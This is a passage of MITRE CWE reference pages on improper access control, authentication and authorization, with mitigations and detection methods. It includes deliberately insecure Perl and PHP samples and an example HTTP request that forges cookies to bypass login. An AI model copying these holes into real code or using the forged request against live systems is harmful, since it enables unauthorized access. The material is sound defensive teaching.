2009-07-27CWE Content TeamMITREInternal
updated Relationships
2010-09-09VeracodeExternal
Suggested OWASP Top Ten mapping
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Errant Files or Directories Accessible

CWE-284: Improper Access Control

Weakness ID: 284
Abstraction: Class
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as authentication (proving the identity of an actor) authorization (ensuring that a given actor can access a resource), and accountability (tracking of activities that were performed). When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

  • Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.

  • Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

+ Alternate Terms
Authorization:

The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Other

Technical Impact: Varies by context

+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory264Permissions, Privileges, and Access Controls
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class664Improper Control of a Resource Through its Lifetime
Research Concepts1000
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts (primary)1000
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory944SFP Secondary Cluster: Access Management
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base269Improper Privilege Management
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class282Improper Ownership Management
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class285Improper Authorization
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness ClassWeakness Class286Incorrect User Management
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class287Improper Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base346Origin Validation Error
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant782Exposed IOCTL with Insufficient Access Control
Development Concepts699
ParentOfWeakness ClassWeakness Class923Improper Restriction of Communication Channel to Intended Endpoints
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant942Overly Permissive Cross-domain Whitelist
Development Concepts (primary)699
Research Concepts (primary)1000
+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAccess Control List (ACL) errors
WASC2Insufficient Authorization
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
+ Maintenance Notes

This item needs more work. Possible sub-categories include:

* Trusted group includes undesired entities (partially covered by CWE-286)

* Group can perform undesired actions

* ACL parse error does not fail closed

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships
2009-12-28CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-02-16CWE Content TeamMITREInternal
updated References, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-24
(Critical)
CWE Content TeamMITREInternal
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITREInternal
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Access Control Issues
2011-03-29Access Control (Authorization) Issues

CWE-287: Improper Authentication

Weakness ID: 287
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.
+ Alternate Terms
authentification:

An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

AuthC:

"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read application data; Gain privileges / assume identity; Execute unauthorized code or commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

+ Likelihood of Exploit

Medium to High

+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Configuration Checker

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(Bad Code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);
$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(Attack)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:

Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <http://www.wired.com/threatlevel/2009/01/professed-twitt/>.
+ Observed Examples
ReferenceDescription
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class284Improper Access Control
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory935OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
Weaknesses in OWASP Top Ten (2013)928
ChildOfCategoryCategory947SFP Secondary Cluster: Authentication Bypass
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant261Weak Cryptography for Passwords
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant262Not Using Password Aging
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base263Password Aging with Long Expiration
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base288Authentication Bypass Using an Alternate Path or Channel
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant289Authentication Bypass by Alternate Name
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base290Authentication Bypass by Spoofing
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base294Authentication Bypass by Capture-replay
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant301Reflection Attack in an Authentication Protocol
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant302Authentication Bypass by Assumed-Immutable Data
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base303Incorrect Implementation of Authentication Algorithm
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base304Missing Critical Step in Authentication
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base305Authentication Bypass by Primary Weakness
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant306Missing Authentication for Critical Function
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base307Improper Restriction of Excessive Authentication Attempts
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base308Use of Single-factor Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base309Use of Password System for Primary Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfCompound Element: CompositeCompound Element: Composite384Session Fixation
Development Concepts699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base521Weak Password Requirements
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base522Insufficiently Protected Credentials
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness BaseWeakness Base603Use of Client-Side Authentication
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant620Unverified Password Change
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base640Weak Password Recovery Mechanism for Forgotten Password
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base645Overly Restrictive Account Lockout Mechanism
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base798Use of Hard-coded Credentials
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base804Guessable CAPTCHA
Development Concepts699
Research Concepts1000
ParentOfWeakness BaseWeakness Base836Use of Password Hash Instead of Password for Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanFollowWeakness BaseWeakness Base613Insufficient Session Expiration
Development Concepts699
Research Concepts1000
+ Relationship Notes

This can be resultant from SQL injection vulnerabilities and other issues.

+ Functional Areas
  • Authentication
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Error
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC1Insufficient Authentication
+ References
OWASP. "Top 10 2007-Broken Authentication and Session Management". <http://www.owasp.org/index.php/Top_10_2007-A7>.
OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft. 2002.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2009-01-12CWE Content TeamMITREInternal
updated Name
2009-05-27CWE Content TeamMITREInternal
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples
2009-12-28CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-02-18CWE Content TeamMITREInternal
updated Relationships
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Issues
2009-01-12Insufficient Authentication

CWE-285: Improper Authorization

Weakness ID: 285
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

+ Alternate Terms
AuthZ:

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

Language-independent

Technology Classes

Web-Server: (Often)

Database-Server: (Often)

+ Modes of Introduction

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data; Read files or directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

Integrity

Technical Impact: Modify application data; Modify files or directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

Access Control

Technical Impact: Gain privileges / assume identity

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.

+ Likelihood of Exploit

High

+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Host Application Interface Scanner

  • Fuzz Tester

  • Framework-based Fuzzer

  • Forced Path Execution

  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(Bad Code)
Example Language: PHP 
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(Bad Code)
Example Language: Perl 
sub DisplayPrivateMessage {
my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("invalid username or password");
}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

+ Observed Examples
ReferenceDescription
Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
Terminal server does not check authorization for guest access.
Database server does not use appropriate privileges for certain sensitive operations.
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
System monitoring software allows users to bypass authorization by creating custom forms.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
Content management system does not check access permissions for private files, allowing others to view those files.
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
OS kernel does not check for a certain privilege before setting ACLs for files.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
+ Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.285.5] and the OWASP ESAPI Access Control feature [R.285.4].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

+ Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class284Improper Access Control
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory7532009 Top 25 - Porous Defenses
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8032010 Top 25 - Porous Defenses
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory817OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory840Business Logic Errors
Development Concepts699
ChildOfCategoryCategory935OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory945SFP Secondary Cluster: Insecure Resource Access
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant219Sensitive Data Under Web Root
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class732Incorrect Permission Assignment for Critical Resource
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class862Missing Authorization
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class863Incorrect Authorization
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant926Improper Export of Android Application Components
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant927Use of Implicit Intent for Sensitive Communication
Development Concepts (primary)699
Research Concepts (primary)1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMissing Access Control
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
Software Fault PatternsSFP35Insecure resource access
+ References
[R.285.1] NIST. "Role Based Access Control and Role Based Security". <http://csrc.nist.gov/groups/SNS/rbac/>.
[R.285.2] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002.
